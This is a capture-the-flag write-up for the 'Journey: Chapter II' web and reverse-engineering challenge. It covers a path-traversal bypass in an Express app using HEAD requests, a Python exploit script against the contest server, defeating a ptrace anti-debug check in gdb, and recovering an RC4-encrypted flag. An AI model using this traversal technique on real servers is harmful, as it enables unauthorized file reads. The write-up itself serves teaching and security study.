# Journey: Chapter II (web/re, 384+31 pts, 5 solves)
The source of `admin.html` suggests that we are after an `admin-tool` binary:```html<div style="margin-top: 20px">    Don't forget to practice remembering your Security Key PIN code with the ./admin-tool tool!</div>```
An arbitrary file read would be nice. One endpoint is interesting in this regard:```javascriptapp.get('/share', async function (req, res) {    if (!req.session.username)        res.send({ err: 'not logged in' })     const favList = favDb.get(req.session.username)    if (!favList || favList.length === 0)        res.send({ err: 'favorites list is empty' })
    const result = {}    for (const favPath of favList) {        const [type, name] = path.relative(CONTENT_DB_PATH, favPath).split(path.sep)        result[type] = result[type] || {}        result[type][name.replace(".txt", "")] = fs.readFileSync(`${CONTENT_DB_PATH}/${type}/${name}`, "latin1")    }    const favId = crypto.randomBytes(8).toString("hex")    await db.put(`fav_${favId}`, result)    favDb.set(req.session.username, [])    res.send({ favId })})```
Note that, even though the database stores paths, the endpoint deconstructsthe path manually, and then assembles it back together. Let's take a closerlook at how the paths get inserted into the database.
```javascriptapp.get('/favorite', async function (req, res) {    if (!req.session.username)        res.send({ err: 'not logged in' })
    const { type, name, unfav } = req.query    if (type !== "book" && type !== "quote")        res.send({ err: 'invalid type' })
    if (name.includes("/") || name.includes(".."))        res.send({ err: 'invalid name' })
    const itemPath = `${CONTENT_DB_PATH}/${type}/${name}.txt`    if (!fs.existsSync(itemPath))        res.send({ err: 'not found' })     const favs = favDb.get(req.session.username) || []    if (unfav)        favs = favs.filter(x => x !== itemPath)    else            favs.push(itemPath)     favDb.set(req.session.username, favs)    res.send({ success: true })})```
Damn, path traversal is detected and rejected. Except... does `res.send`end the execution of the function? A quick local test says no, so the checksare merely a red herring! So let's send a request with `name` set to`../../admin-tool/x`! One `..` to exit the `quote` directory, and another toescape `db`. `path.relative` will remove the `quote/../` part, and subsequentcode will trim the path to the first 2 components: `../admin-tool`. This avoidsthe `.txt` extension.
Except... it doesn't work: `{"err":"favorites list is empty"}`.
A bit more local testing suggests that `res.send` can only be called once, andsubsequent calls will raise an exception, complaining that "the headers canonly be sent once". This means that, while we may bypass the `name` check,`existsSync` will still prevent us from injecting the path.
We brainstormed abusing various weird filesystem behaviors, as `path.relative`does not access the filesystem and thus doesn't know about symbolic links suchas `/proc/self/cwd`. This seems to have been a dead end.
At this point, I decided to dive into the code of `express` to look for a wayof bypassing the exception, and soon stumbled upon a hint:```javascriptif (req.method === 'HEAD') {  // skip body for HEAD  this.end();} else {  // respond  this.end(chunk, encoding);}```It turns out that sending a HEAD request will allow us to bypass the check, thoughthe snippet above doesn't seem to be directly responsible for it. This lets usfetch the `admin-tool` binary:
```pythonfrom requests import Sessionfrom uuid import uuid4s = Session()rando = str(uuid4())print(s.post("http://journey.ctf.spamandhex.com/register", json={"password": rando, "username": rando}).content)print(s.post("http://journey.ctf.spamandhex.com/login", json={"password": rando, "username": rando}).content)data = {    "type": "quote",    "name": "../../admin-tool/x",}print(s.head('http://journey.ctf.spamandhex.com/favorite', params=data).content)fav = s.get("http://journey.ctf.spamandhex.com/share").json()['favId']print(fav)data = (s.get('http://journey.ctf.spamandhex.com/favorites?type=..&favId=' + fav).json())open('admin-tool', 'wb').write(data['admin-tool'].encode('latin1'))```
A few minutes in the disassembler show that1. The binary attempts to detect the debugger with PTRACE_TRACEME2. Our input is encrypted with RC4 or a derivative, and ciphertexts are compared.   The key is fixed.
I have first attempted to use a Python implementation of RC4, but the decryptionfailed. I have decided that it would be more productive to extract the keystreamfrom the running program with gdb.
```(gdb) b ptraceBreakpoint 1 at 0x4005c0(gdb) rStarting program: /home/kuba/spamandhex/admin-toolJourney: PIN Recovery Tool
  "All journeys have secret destinations of which the traveler is unaware."
                                                                    - Martin Buber
PIN recovery: I will tell if you still know the correct PIN or not, so you won't forget it even if you don't use it regularly. That's a great way of recovery I think!
Breakpoint 1, 0x00007ffff7eff210 in ptrace ()   from /gnu/store/1y7g7kj3zxg2p90g692wybqh9b6gv7q2-glibc-2.31/lib/libc.so.6(gdb) finRun till exit from #0  0x00007ffff7eff210 in ptrace ()   from /gnu/store/1y7g7kj3zxg2p90g692wybqh9b6gv7q2-glibc-2.31/lib/libc.so.60x0000000000400976 in ?? ()(gdb) x/10i $rip=> 0x400976:    cmp    $0xffffffffffffffff,%rax   0x40097a:    jne    0x40098f   0x40097c:    lea    0x1e5(%rip),%rdi        # 0x400b68   0x400983:    callq  0x400570 <puts@plt>   0x400988:    mov    $0x1,%eax   0x40098d:    jmp    0x400994   0x40098f:    mov    $0x0,%eax   0x400994:    pop    %rbp   0x400995:    retq   0x400996:    push   %rbp(gdb) p $rax$1 = -1(gdb) set $rax=0(gdb) b *0x400a62Breakpoint 2 at 0x400a62(gdb) cContinuing.What's your PIN? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Breakpoint 2, 0x0000000000400a62 in ?? ()(gdb) x/32xb 0x6021600x602160:       0x65    0xbe    0xb8    0x98    0x7b    0x9e    0xf7    0xf90x602168:       0x07    0xf6    0x07    0x75    0xa9    0x94    0x44    0x620x602170:       0xfc    0x9e    0x47    0x41    0x9d    0x8d    0xa4    0x0f0x602178:       0x13    0x86    0x17    0x3b    0x3f    0x82    0x82    0x69(gdb) dump memory stream.bin 0x602160 0x602200```
```pythonbinary = open('admin-tool', 'rb').read()stream = open('stream.bin', 'rb').read()
cipher = binary[0x20c0:]cipher = cipher[:0x70]
out = bytearray()for b,k in zip(cipher, stream):    out.append(b^k^65)print(out)# bytearray(b'SaF{It is good to have an end to journey toward; but it is the journey that matters, in the end.-2xzB4tW3}\x80G\x12\xf8{a')```
**Post-CTF addendum:** While preparing this write-up, I have provided too few `A`characters in the input, which resulted in the flag decryption stopping tooearly. No problem—I thought—I'll just do it again.
```(gdb) rThe program being debugged has been started already.Start it from the beginning? (y or n) y```
To my surprise, this resulted in a completely different keystream. I soon realizedthat this must be because the breakpoint is already there when the program is starting.After all, breakpoints are implemented by overwriting an opcode with `int3`.
The culprit is an entry in the `.init_array` section:
![Binary Ninja screenshot because copy-paste is wonky](init_array.png)
I noticed this function during the CTF, but the code looked like decompiled`/dev/urandom` at a glance, and [the XREF panel was empty](https://github.com/Vector35/binaryninja-cloud-public/issues/123), so I concluded that it's probably a false positive.
However, further analysis reveals that it checksums most of the code sectionand derives an address from the checksum, which is then patched with a `xor`.
![](init_array_graph.png)
Checking with gdb, we see that the address being patched is `0x400902`. Thiscorresponds to an `add` instruction in the RC4 code, which this xor turns intoa `sub`. The following change in the decoding script makes it decrypt the flagproperly without the dumped keystream:
```diff-        K = S[(S[i] + S[j]) % 256]+        K = S[(S[j] - S[i]) % 256]         yield K```
I'm quite surprised, and to be honest, somewhat disappointed, that I didn't getto experience this mischief during the CTF.